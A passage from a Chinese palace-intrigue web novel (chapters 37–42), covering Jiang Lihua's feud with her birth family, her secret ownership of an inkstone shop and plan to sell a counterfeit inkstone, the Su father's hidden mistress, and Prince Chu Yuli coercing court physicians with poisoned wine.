吕静雅还来不及得意,耳朵就被孟雪莲揪了起来,“你这臭丫头,是不是又偷偷看书坊斋的话本子了?”
孟雪莲不等吕静雅回答揪着她的耳朵就往外走,一边回头对姜黎婳笑道:“大皇子妃你和你外祖母叙话,我去好好的教训一下这个不干正事儿的丫头!”
胡氏等孟雪莲母子两人离开之后,便让自己身边伺候的古嬷嬷去把那方端砚取了出来。
古嬷嬷很快便从屋中抱着一个红木盒子走出来,放在胡氏手边的高几上。
胡氏打开红木盒子,眼神眷念的看着亡夫曾收藏起来的砚台,“这砚台放在外祖母这里怕是留不住,今日外祖母就把它交给你了,希望你能替外祖母守好你外祖父留下来的这方砚台,别让它落入他人之手。”
姜黎婳郑重的接过来,想到苏建明想用这砚台去做的事情,她对着胡氏承诺道:“外祖母,您放心,婳儿一定不让着砚台落入他人之手。”
第37章 不会放过她
孟雪莲把吕静雅带出胡氏的院子,就松开了吕静雅的耳朵,吕静雅揉了揉自己被揪得生疼的耳朵,不解的问母亲,“娘,你故意把我拉出来做什么?我还想和表姐多说说话呢。”
“没看你祖母有事要和你表姐说吗?”孟雪莲戳了戳吕静雅的额头,“没眼力劲儿。”
“那我在这儿等表姐出来,一会儿正好和表姐出去逛逛,听说珍宝阁又上了很多新样式。”
“一天天就知道花钱。”孟雪莲嗔了女儿一眼,有些好奇,“你明明和苏清欢不亲近,怎么和这个没见过几次的表姐这么亲近?”
“苏清欢假得很。”吕静雅想到自己以前好几次在苏清欢那里吃的亏,撇嘴,“和表哥他们出去玩,苏清欢每次都爱挑衅我,我骂了她她又哭兮兮,惹得两个表哥每次都凶我,大哥也说过我两次,后来直接告诫我,说玩不过人家,就别人人家玩,所以我就不和她玩了啊。”
孟雪莲想到女儿直来直去的性格的确容易吃亏,又忍不住说教两句,“那你也跟人学着点啊,会哭的孩子有糖吃,你瞧瞧,正主回来了,人家还不是牢坐苏家大小姐之位,倒是把你表姐这个正儿八经的小姐弄得被苏家所有人厌恶。”
“我瞧着表姐也不像是想做苏家大小姐的样子。”吕静雅撇了撇嘴,说起苏家眼里直接露出嫌弃,“要是我,我也不愿意和那些不把我当亲人的人当家人。”
“这还你别让你祖母听到,仔细你祖母伤心。”孟雪莲说着拿出一张银票递给吕静雅,“要与你表姐去逛街的话,记得送个像样的礼物给你表姐。”
“还是娘亲你最好了,一点都不像姑母。”吕静雅兴奋的把银票收起来,“以后有姑母后悔的。”
孟雪莲摇了摇头,抬步走了。
吕静雅在外面等了一会儿,就见姜黎婳出来了,而她身后的婢女则抱着一个红木盒子,吕静雅也没有问那是什么,径直上前挽着姜黎婳的手道:“表姐,咱们去逛逛珍宝阁吧,我娘刚刚给了银钱,我想去逛逛!”
姜黎婳瞧天色还早,而且自己今日是真的有事要处理,也不会这么早回府,和吕静雅一起去逛的话,反而不让人起疑,她颔首道:“可以啊,再过些日子,我哥哥也要进京了,我正打算去墨宝斋给他选个礼物,咱们逛了珍宝阁就再去逛逛墨宝斋?”
“你的哥哥?”吕静雅看着姜黎婳,眼中露出好奇,“是江南的哥哥吗?他进京找你?”
姜黎婳摇头,说起姜斯羽她眼里浮出自豪的笑容,“我哥哥是进京参加来年春闱的。”
“来年春闱?不参加秋闱了啊?”
“我哥哥可是三年前江南道的解元,只是因为不想一人入京,所以没有参加来年的春闱,如今我入京了,他便来参加明年的春闱。”提起姜家的人,姜黎婳心头暖暖的。
他们父子两人对她很好,就如前世的养父母一样,一心为她着想,从未想要她的回报,后来在亲生父母找来之后,怕她为难,也从未提起过不准让她认亲生父母。
吕静雅没有感受到姜黎婳此时的心情,只是在脑海里面回想三年前的江南解元,忽地她眼睛一亮,激动地看向姜黎婳,“你哥哥是姜斯羽!”
姜黎婳偏头看向她,“你认识他?”
吕静雅激动的捂着嘴,“你的哥哥竟然是姜斯羽!我可喜欢他那本江南杂事了!因为那本书,我一直都想亲自去江南逛逛,可惜一直没有机会!”
姜黎婳真没想到这小表妹竟然还是她哥哥的书迷,“那等我哥哥来了,我让他给你签名!”
“到时候我能和你一起去见见他吗?”
......
苏清欢浑浑噩噩的回到国公府,坐在圆桌边把婢女雪儿端上来的凉茶一饮而尽,接着抬手就把手边的茶具全都掀翻在桌上,“啊!姜黎婳她凭什么!她不配!一个贱种怎么配!”
雪儿被她的动作吓了一跳,躲到一旁的角落不敢上前。
苏清欢只是砸了桌上的陶瓷茶具还不够,她抱起圆柱旁边架子上摆着的花瓶狠狠地摔在地上,“那个贱人!我不会放过她的!”
苏清欢在院中发了好大一通脾气的事情很快就传入了定国公夫人曹氏的耳朵里,曹氏眉头微微皱起,“骂大皇子妃?”
思索片刻后,曹氏沉声道:“去把人叫过来。”
苏清欢被叫到曹氏院中的时候才清醒了过来,看着曹氏阴沉的脸色,苏清欢心头忐忑,“儿媳今日失态了,还请婆母责罚。”
“失态?”曹氏深深地看了苏清欢一眼,语气生硬,“苏氏,你可知道你刚刚在房中咒骂大皇子妃的事情若传出去了,会给我们国公府惹来多大的麻烦吗?”
苏清欢凝噎,片刻后她讪讪道:“儿媳就是为父母感到不值,所以才一时口无遮拦。”
“你心头替苏家不平你在苏家发泄就是,回国公府发泄什么?”曹氏睨着垂头辩解的苏清欢,语气凉薄,“若让有心人知道,还以为我定国公府对皇室处置苏家的事情不满呢。”
苏清欢低着头不说话,曹氏又继续道,“苏氏,如今你已经是国公府的人了,国公府才是你的家,你要记住,咱们萧氏一荣俱荣一损俱损,若国公府因你受罚,你担得起这个责任吗?”
苏清欢连忙告罪,并承诺以后自己定当谨言慎行,绝对不再闹出今日这样的事情来。
曹氏不耐的摆了摆手,“罢了罢了,下去吧,亲姐妹哪儿有隔夜仇,你何至于把自己的妹妹恨成这样。”
苏清欢连忙站起来退了出去。
看着苏清欢离开的背影,曹氏皱着眉头幽幽道:“这样咒骂自己的妹妹,不知道的还以为她们不是血亲姐妹,而是仇敌呢。”
“世子夫人毕竟是从小被宠着长大的,忽然回来一个妹妹,又嫁给了皇子,回家还欺负了父母亲,世子夫人生气也是应该的。”曹氏身边的嬷嬷插话。
曹氏轻哼了一句,片刻之后笑着摇头,“别人的家事,咱们还是别管了,自家的头疼事都烦不过来呢。”说罢低声问了一句,“世子又出城了?”
嬷嬷轻轻地点了点头。
曹氏见状深深地吸了口气,取下手上的佛珠双手合十,“阿弥陀佛...”
嬷嬷见状垂下眼眸退到一边不再说话。
第38章 苏氏:姜黎婳那个丧门星
苏家还没有从家被砸的冲击中缓过来,又接到了苏建明被官降一级的噩耗。
邹氏听到这个噩耗人直接昏死了过去。
吕氏更是好半晌没有说出话来,为什么会这样?她昨天让刘嬷嬷去把姜黎婳喊回来的目的是让姜黎婳去母亲那里帮她把那方端砚给要过来,她的丈夫就可以拿着端砚去给太傅送礼,让太傅帮忙引荐儿子给上官先生的。
为什么最后她的家被砸了,而今天丈夫还被降职了?
“祸害!都是那个贱人害的!”苏继业双目赤红,“若不是那个贱人回来,一切都是好好的!都怪那个贱人!”
“她当初回来,我就应该把她掐死!省得她作妖!害了我们全家!”苏承印也面露不善,“昨天就不该求她!”
吕氏愣了愣,她想上前安抚丈夫,却被丈夫一把掀开,苏建明阴鸷的看了吕氏一眼,冷声道:“愣着做什么?还不让人收拾东西!这尚书府如今已经不是我们能住的了!”
吕氏哭着摇头,“我去求她,求她放过我们家,求她让老爷你官复原职,我这就去求她!”
她说着就跌跌撞撞地往外跑。
苏继业见状追了上去,他一把抓住苏氏的手臂,厉声道:“母亲,你觉得那个白眼狼会见你吗?你别忘了,我们变成这样是谁害的!”
“以后不准再去找那个丧门星!”苏建明更是直言,“她以后求上门来,你们也不准见!”
吕氏闻言更是捂着脸哭了出来。
一家人因为圣旨下来了,苏家这模样也是住不了人了,苏建明眼不见为净,让人收拾了行囊很快就搬到了比尚书府小了三分之一的侍郎府院。
吕氏愣愣的站在院中看着以前住过的院落,心头一片凄凉,还不等她回想以前的生活,苏建明冰冷的声音就从院外传来,“吕氏,府中什么都没有,你带着人去采购一些家用的东西回来,母亲着实气得不轻,你顺便买点人参回来给母亲好好补一补。”
吕氏心头对苏建明有亏欠,忙不迭的应了下来。
苏建明深深地看了一眼对自己言听计从的苏氏,眼底闪过一丝无趣,片刻后他道:“今日同僚约了我喝酒,今夜不一定能回来,你不必等我了。”
吕氏知道丈夫心头有气,需要发泄,和同僚一同喝酒也许能让丈夫心头好过点,她便从自己的私库里拿出二百两银票递给苏建明,“别喝太多,老爷你要注意身体。”
苏建明接过银票狠狠地叹了口气,这才转身离开。
吕氏还没带着人出门,邹氏那边就传来了咒骂声,“那个丧门星哟!她怎么不被雷劈死啊!当初她生下来就应该被丢在尿桶里面溺死的!活着平白害了我们全家啊!”
“我的乖孙啊,眼看要熬出头了,现在因为这丧门星,不知道什么时候才有出头之日了啊!”
吕氏听着邹氏的话,眉头微微皱起,丈夫只是官降一级,承儿也不是不能参加科举了,怎么就没有出头之日了?
老太太就是把事情想得太严重了。
还有继业,他的学业也不错,这些日子虽然因为家中的事情有些落下了,但她相信,继业会有一个好前程的。
吕氏摇了摇头吩咐身边的大丫鬟,“翠莲,去厨房给老夫人熬点凉茶,让老夫人消消气。”
翠莲连忙应是,吕氏则带着刘嬷嬷和家丁出了门,去采买家用,也得采购一些上得了台面的摆件。
在她这里,有永宁伯府在,又有大哥那个常在战场的永宁伯,她的夫君重回尚书之位还是有可能的。
......
姜黎婳陪吕静雅逛了珍宝阁,在自己的再三推辞下还是没能抵抗住对方的热情,收了对方一对红宝石耳坠,她不好意思白收礼物,也给对方选了绿宝石的黄金头面。
吕静雅坐在马车中看着自己手中抱着的头面,她忍不住的吞了吞口水,对姜黎婳道:“表姐,我真的不能收你这么贵重的首饰!若我娘知道我只给你买了一对价值五百两的耳坠,你却送了我一套价值八千两的头面,我会被我娘打死的!”
姜黎婳瞧着吕静雅那惶恐的模样,觉得很是可爱,她拉着吕静雅低声问,“你给我买这红宝石的金耳坠花了五百两,是不是把舅母给你的银票都花完了?”
吕静雅面露难色,“这不一样。”
“可是你把银子都拿来给我买礼物了,自己却什么都没买。”姜黎婳摸了摸吕静雅的头发,“你表姐我啊,别的不多,银子却不少,送你这套头面,对我来说就是洒洒水啦。”
吕静雅眨了眨眼睛,买这副头面的事情发生的很快,她甚至都没回过神来这副头面就被塞进了她的怀中,然后人就被姜黎婳牵着上了马车。
瞧着她呆愣的样子,姜黎婳轻笑着问,“不喜欢?”她皱了皱眉头,“刚刚试戴的时候,我觉得这副头面很衬你的。”
“没有不喜欢。”吕静雅轻轻摇头,“我就是觉得太贵重了。”
坐在一旁的铃铛实在看不下去了,她对着吕静雅道,“表小姐您可别跟我们小姐客气,我们小姐是喜欢你才给你送礼物,从小到大,我们小姐就给老爷和公子送过礼物,其他人都没送过呢。”
吕静雅抬眸对上姜黎婳带笑的视线,“真的呀?”
“当然,你可特殊了。”姜黎婳点头。
吕静雅抱紧箱子握拳发誓,“我一定要存月银和零花钱,买一套很漂亮的头面送给表姐你!”
姜黎婳笑了笑,伸手拍了拍吕静雅的头,没有应也没有拒绝。
马车很快在墨宝斋停下。
姜黎婳带着吕静雅下了马车,进了墨宝斋,姜黎婳让铃铛跟着吕静雅逛逛,自己则上了二楼,她刚走上二楼就被留着山羊胡的掌柜拦住了去路,“这位夫人,我们二楼不待客。”
姜黎婳笑了笑,从袖中拿出一块令牌递给掌柜的,掌柜的不明所以的接过来看了一眼,等看清令牌,掌柜眼中露出惊疑之色,很快他就恢复常色,恭恭敬敬的把姜黎婳请进雅室,请姜黎婳坐下,自己又给她倒了水后,掌柜的才恭敬道:“东家,您有什么吩咐?”
姜黎婳眉梢一动,也不过多废话,“佟掌柜,我记得曾让你们封禁了一批仿端砚?”
“是,因为有您的命令,那批仿端砚如今还被封禁在库房,不曾问世。”佟掌柜面露疑惑,“东家这是打算卖那些砚台了?”
佟掌柜说到这里,露出志在必得的笑意,“那些砚台说是仿端砚,但若不是行家,根本认不出来,所以在下觉得让那些端砚面世,不会出什么影响咱们墨宝斋名声的事情。”
第39章 还有这种好事?
早年南越国盛产端砚,每年都会向楚国敬献一些端砚,如今南越国的端砚越来越少,加上与楚国的关系也越发的如履薄冰,楚国文人手中想要有一台端砚,简直是难如登天。
所以当初得到这批仿端砚的时候,他立刻就给东家去了书信,说可以把这批仿端砚以比真端砚的价格稍微低一点卖出去,这样墨宝斋肯定能狠狠赚一笔,谁知道却得到东家让他封禁这批仿端砚的命令。
姜黎婳知道佟掌柜也是一心想为墨宝斋营收,但墨宝斋的原则就是不卖假货。
她否定了佟掌柜的提议,“墨宝斋只卖真迹和真品,仿制品,即便仿得再真,墨宝斋也绝不售卖。”
佟掌柜有些疑惑,“那东家您提起那批端砚的原因是?”
毁了?
那几台端砚当初可是花了墨宝斋两万两的银子才买到的!东家竟然想把钱扔了?
“东家,咱们不卖,可以转卖给别人,让别人卖啊,至少保个本?”佟掌柜害怕姜黎婳真的要毁了那批仿端砚,赶紧劝道。
姜黎婳微微一笑,眼里闪过一丝精明,她的手指轻轻地黑木高几上敲了敲,“真正的端砚如今已经被炒到了五万两,但这都是有价无市,我要你以旁人的名义,以六万两的价格卖一台端砚给定国公世子夫人。”
“六万两卖仿端砚?”佟掌柜眼珠子转了转,脑海中瞬间闪过无数想法,他沉默了半晌,看向姜黎婳,“东家为何一定要把这仿端砚卖给定国公世子夫人?若让定国公府知道咱们用仿端砚以真端砚的价格卖给世子夫人的话,墨宝斋怕是会惹上麻烦。”
“你没把我刚刚的话听完。”姜黎婳抬眸看着佟掌柜,“是以旁人的名义,这场交易,墨宝斋不能参与其中,我不管你是找人角色扮演,还是用其他办法,我只要你以六万两的价格,把仿端砚卖给定国公世子夫人。”
自己昨天拒绝了吕夫人的提议,楚御礼还把苏府给砸了,外祖父那台端砚已经送给她的消息想来很快外祖母也会告诉吕夫人,到时候苏建明虽然恨外祖母,却也不敢再上大皇子府自讨没趣,就会想起他办法。
而苏清欢为了自己亲哥哥的前途,定然会让人打听端砚,在知道有人出手端砚之后,定然会不惜一切代价买下。
到时候吕夫人的嫁妆也必然会被盯上。
只有掏空吕夫人的私库,让吕夫人在苏家再无利用价值,她才能看清苏家人的嘴脸。
也是时候帮外祖母让吕夫人清醒清醒了。
城南梧桐巷中,苏建明往四周看了看,确定四处无人了,才快步朝着巷子中的一处四合院中走去。
他走进院子一个保养得宜容貌上乘的中年女人就迎了上来,她温柔地笑着上前挽着苏建明的手往屋中走,一边说:“老爷回来的不是时候,恒儿刚去国子监了。”
苏建明瞧着女人紧贴着自己手臂的圆润,叹了口气,“没事,我过来也是想好好地休息休息。”
女人这些年养尊处优,事事有人伺候,儿女的事情又无需自己操心,所以即便比吕氏年长两岁,瞧着也比吕氏年轻许多。
此时听苏建明这样说,她眼中露出一丝担忧,语气柔得能滴出水来,“老爷为何事烦忧?您说出来,妾也好替您分忧解难呀。”
说罢就伸手替苏建明宽衣,脱掉外衣后,又拉着苏建明在软榻上坐下,自己则脱了鞋子上软榻,跪在苏建明身后替他捏肩捶背,“即便妾身不能为老爷做些什么,老爷说出来,心头说不定就舒坦些了呢?”
苏建明抬手拍了拍贴心的女人,轻声道:“还不是姜黎婳那个贱婢的惹的事情!当初就应该直接把她捏死!”
提起姜黎婳,女人脸上也闪过一丝恼意,“都怪那奶娘办事不力,若不是她一时心慈手软把那婴儿丢到码头,也不至于让她如今回来烦到老爷了。”
“唉,如意,这些年是为夫对不住你。”苏建明拍了拍邹如意的手,“你嫁给我这么些年,我却只能让你躲在外面生活,也委屈了恒儿。”
邹如意听到苏建明这么说,眼里闪过一丝甜蜜,她笑着把下巴放在苏建明的肩膀上,“老爷这是说的什么话,您娶那个女人也是为了我们家好,若不是娶了那个女人,妾和恒儿也不会有这么好的生活,清欢也不能当高高在上的工部尚书府的千金了。”
她对如今的生活其实很满意,上有婆母怜惜,下有儿女孝顺,夫君也一心想着自己,自己还什么都不用操心,有什么不好的?
总比以前吃一顿饿一顿,天还没亮就要担忧今天有没有粮食吃的日子好。
“再等等,再等等为夫一定让你光明正大的当我的妻子。”
邹如意心满意足的点头,“好,妾等着老爷。”
室内的稳如也逐渐上升,两个人也顺理成章的纠缠在了软榻之上,院中的丫鬟婢女见状面红耳赤的上前把门窗关好,很快屋中就传来邹如意娇媚的声音。
这种声音让人到中年的苏建明得到了极大的满足,这是家中吕氏完全给不了他的满足感。
吕氏那种大门大户的千金,无论什么时候都在意那点名声和礼节,即便那种时候,她也只会咬着牙齿隐忍,根本给不了人半点乐趣。
当年若不是看在永宁伯府的地位上,他也不会选择那么一个空有容貌却无趣至极的女人。
此时被苏建明嫌弃的吕氏正带着嬷嬷和家丁在摆件铺子里面挑选布置家用的瓷器和其他摆件。
因为天太热,她那上留了岁月痕迹的柔美容貌上挂了汗水,她抬手用帕子擦了擦,又拿起蒲扇轻轻扇风。
刘嬷嬷瞧着吕氏的模样,心疼的上前劝说:“夫人,这些交给老奴和其他人就是,您何苦亲自跑来,这天气大,仔细中暑。”
吕氏又擦了擦汗水,“这是咱们的家,我想用心布置。”
抬眸说话间正好看到了对面墨宝斋里面走出来的姜黎婳和吕静雅。
吕氏疾步朝外面走去。
刘嬷嬷连忙跟着追上去。
佟掌柜恭敬的把姜黎婳等人送出墨宝斋就看到一个眼熟的夫人怒气冲冲的朝着他们这边走了过来,他连忙站上去拦在姜黎婳面前,笑着道:“吕夫人,您前两日在我们墨宝斋买了笔墨纸砚,是东西有问题吗?”
吕氏懒得理会佟掌柜,直接对着姜黎婳喊话,“如今你父亲被你害得降了职,你满意了?”
姜黎婳眉梢一动,她从佟掌柜身后伸出头看向吕氏,睫毛扑闪扑闪的,“苏大人被降职了?”
楚御礼砸了苏家竟然没被弹劾?
苏建明反而被降职了?
还有这种好事?
第40章 谁愿意从你肚子里爬出来
此时的天气虽然已经是下午了,但是日头依旧很大。
姜黎婳和吕静雅站在佟掌柜身后是在屋檐下的廊上,而吕氏此时站在街上,被太阳晒着,她抬起蒲扇挡住太阳,双目怒瞪姜黎婳,“你还给我装傻!这还不都是你害的!”
佟掌柜不明所以的回头看了一眼自己身后的东家,他干脆往旁边占了一步,让出战场,专心看戏。
他到现在还不知道东家为什么非要以真端砚的价格卖一台仿端砚给定国公世子夫人呢,难道是因为与苏家有仇?
瞧瞧吕夫人这要吃人的模样,这中间肯定有他不知道的大戏!
姜黎婳瞥了一眼想看戏的佟掌柜,又看向站在街上不嫌晒的吕氏,挑眉,“吕夫人确定要与我在这大街上争论吗?”
吕静雅站在一旁不敢说话,甚至尽量缩小自己的存在感。
她毕竟是小辈,即便看不惯姑母的做法,她也不能当着姑母的面置喙。
吕氏想到家中如今的遭遇,到嘴边那骂人的话,又忍了回去,她狠狠地瞪了姜黎婳一眼,哑着声音道:“我真希望当初没有生过你。”
姜黎婳在书中已经见识过吕氏对原主的无情了,但此时亲自经历,还是让她觉得不可思议。
一个亲生母亲,竟然这么恨自己的女儿。
这简直比她那对她不闻不问的亲妈还要让人失望。
她双手握紧,面上却风轻云淡,“吕夫人这话说得像是我愿意从你肚子里面爬出来一样。”
她这话一出,吕氏红了双眼。
吕静雅也惊了。
她虽然知道表姐和苏家的关系不是很好,但是没想到已经到了这水火不容的地步了啊!
姜黎婳看到吕氏通红的双眼只觉得嘲讽,明明是她先说出那些伤人的话,如今自己不过是回敬了一句,她就受不了了?
站在吕氏身后的刘嬷嬷看不过去了,她出声道:“大皇子妃,夫人毕竟是您的母亲!”
嚯!
在一旁看戏看得云里雾里的佟掌柜听到这句话,直接瞪大了眼睛,原来东家就是苏家前些日子传的双生女其中的一个啊!还是嫁给皇子当皇子妃的那个!
“我没有她这样的女儿!”不等姜黎婳说话,吕氏直接沉着脸呵斥刘嬷嬷,“大皇子妃这样的女儿,我们苏家高攀不上!”
吕静雅赶紧拉了拉姜黎婳,低声对着姜黎婳道:“表姐,冷静点,在大街上和姑母吵起来,对你的名声不好。”
原本还想再回敬吕氏两句的姜黎婳看了吕静雅一眼又看向对面街上的摆件点,她挑了挑眉头,对着吕氏道,“给你一句忠告吧,别为了不在乎你的人,掏空你自己,否则你早晚会后悔。”
姜黎婳说完拉着吕静雅就往马车上走。
吕静雅只得回头对着吕氏笑了笑,然后跟着姜黎婳上了马车。
吕氏死死的捏着手中的蒲扇,她看着遥遥而去的马车,咬牙切齿,“我当初就不应该念及那点血缘非要把她找回来!就应该让她在江南的小商户家中寄人篱下,吃一辈子苦!”
站在台阶上的佟掌柜:“......”
吃苦?
他们墨宝斋的东家能吃苦?
他们墨宝斋到如今也有十二三年的历史了,整个楚国墨宝斋不止盛京这一家,他从当墨宝斋掌柜的开始,就知道他们墨宝斋有两个东家,而这两个东家是兄妹,而且两个东家年纪都不大。
就他们墨宝斋东家如今的身家用得着吃苦?
还有能出钱帮几岁的儿女开店的商贾是小商户?
这吕夫人在想什么呢?
若不是东家今日特意叮嘱不能透露她的身份,他真想看看这吕夫人知道她心里看不上的女儿是墨宝斋东家的表情。
吕氏被佟掌柜的眼神看得很不爽,她皱起眉头看了佟掌柜一眼,佟掌柜朝着吕氏拱手,“吕夫人没事的话,在下就先进去了。”
说罢不再看吕氏一眼,转身就走。
因为害怕姜黎婳出门坐马车会被热到,楚御礼特别嘱咐了府上的车夫随时准备着冰桶放在马车中,保证她乘坐马车的时候,车内是凉快的。
姜黎婳坐上马车,不但不热,反而感受到一股凉意,她瞧着重新换了新冰的冰桶,把刚刚与吕氏的争吵抛到脑后,嘴角微微翘了翘。
吕静雅双手撑着下巴,原本想宽慰姜黎婳两句,但瞧她正看着车中的冰桶,吕静雅眼睛转了转,笑着说道,“真羡慕表姐你,马车里都能放冰桶,我在家中都用不到这么大块的冰,出门的话,只能硬挨热。”
“有这个条件,就没必要没苦硬吃了。”姜黎婳笑了笑,“送你回家。”
.......
二皇子府。
楚明暄一脚踹翻前来给自己报信的太监,他眼神阴鸷的骂道:“没用的东西
!一个两个都是没用的东西!这个消息为什么现在才传到孤这里?”
“前几日陛下一直让锦衣卫盯着二皇子府的,奴才实在是进不来府中啊!”被踹了一脚的太监连忙又爬回去跪着。
楚明暄又是一脚踹在他肩膀上,“你进不来,你不知道用其他办法吗?”
真是没想到楚御礼没死,谢荣竟然死了!
谢荣一死,他再想安插人在他身边就困难了!他身边那个侍卫更是不好收买的!
“该死!”楚明暄又狠狠地在太监身上踹了一脚,他激动的在屋中转着圈大大的发泄了一圈,才又看向跪在地上的太监,“你刚刚还说,那病秧子为了姜黎婳把苏家给砸了?而父皇不但不怪罪,反而还问了苏家大不敬的罪?”
被打怕了的太监战战兢兢的点头,“是,苏大人如今被降为工部侍郎了。”
“哈哈哈!一个病秧子还挺会蹦跶!”楚明暄双手抱着头,眼睛睁得大大的,像是在思考什么问题一样,片刻之后,他嘴角一勾,“先让他先高兴几日,等孤解了禁足,再好好地会会他,孤到时要看看,他一个快死的短命鬼,到底能蹦出什么花儿来!”
此时楚明暄口中的病秧子正在离着大皇子府不远处一户安静院落的空房中坐着,而他面前跪着七八个今日不当值的太医,那些太医身后,全是蒙面黑衣人。
站在他身后的墨玄一身黑衣,儒雅的面容上带着浅浅的笑意。
昭临更是一脸无害的站在一旁,当然,这无害是要忽略掉他手中抱着的长剑。
此时那些太医战战兢兢地跪在地上,不停地抬手擦自己额头上的汗水,心头都在想,这大皇子忽然把他们都掳到这离皇城最近的院落做什么?
楚御礼没有说话,只是静静地翻看着墨玄交给他的证据。
他挨着一页一页仔仔细细的查看,时间也在一分一秒中慢慢过去,跪在地上的太医们双腿都跪麻了。
其中身为皇后心腹的院判张太医抬起了头,他看向楚御礼,眉头微蹙,“大皇子,不知您把老臣等人弄到这里来究竟是为了什么?您给个明示!老臣虽然只是一个小小太医,但也不是能让你这样折辱的!”
第41章 能不能活下去就看你们有几份头脑了
楚御礼听张太医这么说,嘴角勾了勾没有说话。
张太医见楚御礼这般不把自己放在眼中,当即怒道:“老臣虽然不如苏大人官大,但却比苏大人有骨气,若大皇子这般平白无故的折辱老臣,老臣一定会在陛下面前以死明志的!”
听了张太医这话,楚御礼总算是抬了抬眉梢,他把手中的一叠证据丢到几人面前,眼神微冷,语气凉薄,“你们今日若真在孤面前以死明志了,孤也就不必把这些交到父皇手上了。”
众太医闻言皱起眉头往地上的纸张看去,等看到上面的内容,众人大惊失色,他们手忙脚乱的伸手去捡地上的纸张,眼中露出惶恐之色,当然更多的是惊惧。
大皇子是怎么知道这些事情的!
这些证据又是怎么收集的?
楚御礼瞧着他们那大惊失色的模样,冷嗤了一声,“现在孤给你们机会。”说罢他抬眼看向昭临,“给各位太医准备上路的东西。”
昭临应了一声,转身开门出去。
门在昭临出去之后再度关上,楚御礼的目光又落在他们脸上,他仔仔细细的注视着他们脸上千变万化的情绪,幽幽道:“你们放心,各位死后,你们亏欠孤的,孤会从你们的家人身上讨回来。”
“大皇子饶命啊!”最有骨气的张太医跪着走到楚御礼跟前,使劲磕头,“臣是一时鬼迷了心窍,才会听贵妃娘娘的话啊!”
有了张太医开头,其他太医纷纷跪着上前求饶,“求大皇子饶命啊!”
楚御礼睨着声泪俱下的众人,眼里闪过一丝不耐,他冷笑一声,“你们与楚明暄母子联合起来欺骗孤和母后的时候,没想过后果吗?”
当年被诊治为胎弱命不长的时候,他不过才五岁,而这十多年,他从未怀疑过自己是中毒。
他不是没有能力,而是没有怀疑,所以从未查过太医院的这些人,谁知,这一查,不过才几天,就让他查出了这么大的端倪!
“求大皇子饶命,只要大皇子饶了我们,我们愿意做任何事情!”张太医急声道。
楚御礼没说话,这时候昭临推门进来,他手中端着托盘,托盘里面几个装了酒的酒杯,他走进来,关上门,恭敬的对楚御礼说,“主子,毒酒准备好了。”
听到昭临的话,几人求救得更激烈了,张太医抱着楚御礼的腿,哭着道:“只要殿下放过我们,我们对天发誓,以后只对殿下尽忠绝无二心!”
楚御礼嫌弃的看着上了年纪还哭得一把鼻涕一把泪的张太医,他抬脚一踹,踹开抱着自己腿的张太医,接着嫌弃的看了一眼被张太医抱过的小腿,语气中多了先前没有的冷漠,“当年你也是这么给孤的母后表忠心的吧?后来你还不是依旧联合慧贵妃谋害她的儿子。”
“殿下,臣没有害过您啊!”张太医害怕自己再上前还会被楚御礼踹一脚,只得在原地跪着哭诉,“臣只是没有告诉皇后娘娘您的真实身体状况而已。”
“哦,原来那不叫害啊。”楚御礼说罢看了昭临一眼,昭临立刻会意,端着毒酒上前,作势就要去灌他们毒酒,有人要挣扎,就有蒙面黑衣人上来帮忙。
太医们被吓破了胆,一个个放声大哭,都喊着我错了。
张太医更是对天发誓,若敢再背叛楚御礼就不得好死,全家死绝。
楚御礼听到他这誓言,抬手阻止了昭临灌酒的动作,他似笑非笑的看着众人,“你们都是这么想的?”
其他人自然不敢有异议,赶紧应是。
楚御礼嗯了一声,语气幽幽,“但孤实在是被你们骗怕了,各位太医最好是给孤一个保证。”
众人不解的看向楚御礼,后者嘴角带着浅淡的弧度,眼神却冷漠如霜,“这些罪证,大家签个名盖个手印吧,就当各位太医给孤的保证了。”
楚御礼说罢回眸看了一眼笑面虎一样的墨玄,“笔墨,印泥。”
生怕自己一个犹豫就被灌毒酒,众人在拿到笔墨和印泥之后,特别积极的在上面签下了自己的名字盖上手印。
张太医把自己的罪证双手奉上,忐忑的看着楚御礼,毕恭毕敬的问:“大皇子,您还有其他吩咐吗?”
楚御礼瞧着他们那如同面对阎王一样的眼神,心头冷嗤,这些人以前不知道如何把他当成病猫的,如今自己不过才露出一点爪牙,他们就怕自己怕成这样。
真是无趣。
楚御礼漫不经心的站起身,“孤不希望孤知道真相的事情传入不该知道的人耳朵里,孤不管你们曾经是谁的人,这件事情出了这道门,你们都给孤烂到肚子里去,懂了吗?”
“明白明白,臣等知道。”众人忙不迭的应声。
瞧他们这么知趣楚御礼眼底的不耐这才消散了两分,他接着道:“还有,以后楚明暄的身体...”
“我们明白!”张太医两忙道:“我们会找个合适的机会,对陛下说二皇子命不久矣!”
“呵呵。”楚御礼盯着张太医,“是你太蠢,还是你把孤想得太蠢?孤本就命不久矣,再加一个二皇子,你说,父皇会不会怀疑你们医术不精?”
“是臣等愚钝。”众人又连忙道:“求大皇子明示!”
他嘴角的弧度一收,眼神倏地变得冷漠,“以后除了普通的风寒,楚明暄的任何病症,包括外伤都无需根治,但孤要你们保证外人包括他自己,察觉不到异常,当然,楚明暄和贵妃无论什么病症宣太医,你们都得让他们相信自己并无大碍,明白了吗?”
太医们听着楚御礼这话,面露难色。
这不是为难他们吗?
“怎么?”他眼神骤然森冷,“你们办不到?”
“臣等一定竭尽全力办到。”众人赶紧道。
毕竟让别人死,和让自己全家死,他们还是会选择的,这是皇室的争斗,他们不过是一枚棋子罢了,当然谁更有能力就听谁的。
“孤要你们必须办到。”楚御礼盯着众人,“若办不到,现在就可以去死,孤不和废物合作。”
“臣等,一定能办到的!”
楚御礼这才满意了,“还有你们各宫的主子,若有什么动向,你们知道的,最好主动来跟孤汇报,若让孤自己得到消息的话,你们应该知道后果的。”
张太医抬手擦着额头上的汗水,语气有些忐忑,“但臣等多次找殿下,会不会引起其他人的怀疑?”
“那你就别让人怀疑,孤只要消息,你们会不会被怀疑,是你们自己该考虑的事情。”楚御礼看了一眼墨玄手中那些盖了手印的证据,眉梢一挑,“能不能活下去,就看你们有几分头脑了。”
第42章 娘子,你会疼希为夫吗?
入夜,知了在树上叫个不停,人工湖里面躲着的青蛙也不停地咕呱鸣叫,清早就出门的楚御礼到现在还没回来,姜黎婳也不急记着睡,便带着铃铛和知夏去人工湖边散步。
湖边比其他地方凉快,姜黎婳干脆到湖中的凉亭里面坐着乘凉。
因为夏日蚊虫较多,凉亭四处又很空旷,就算点香驱蚊,依旧有蚊虫围绕,知夏便拿了蒲扇在一旁帮姜黎婳扇风。
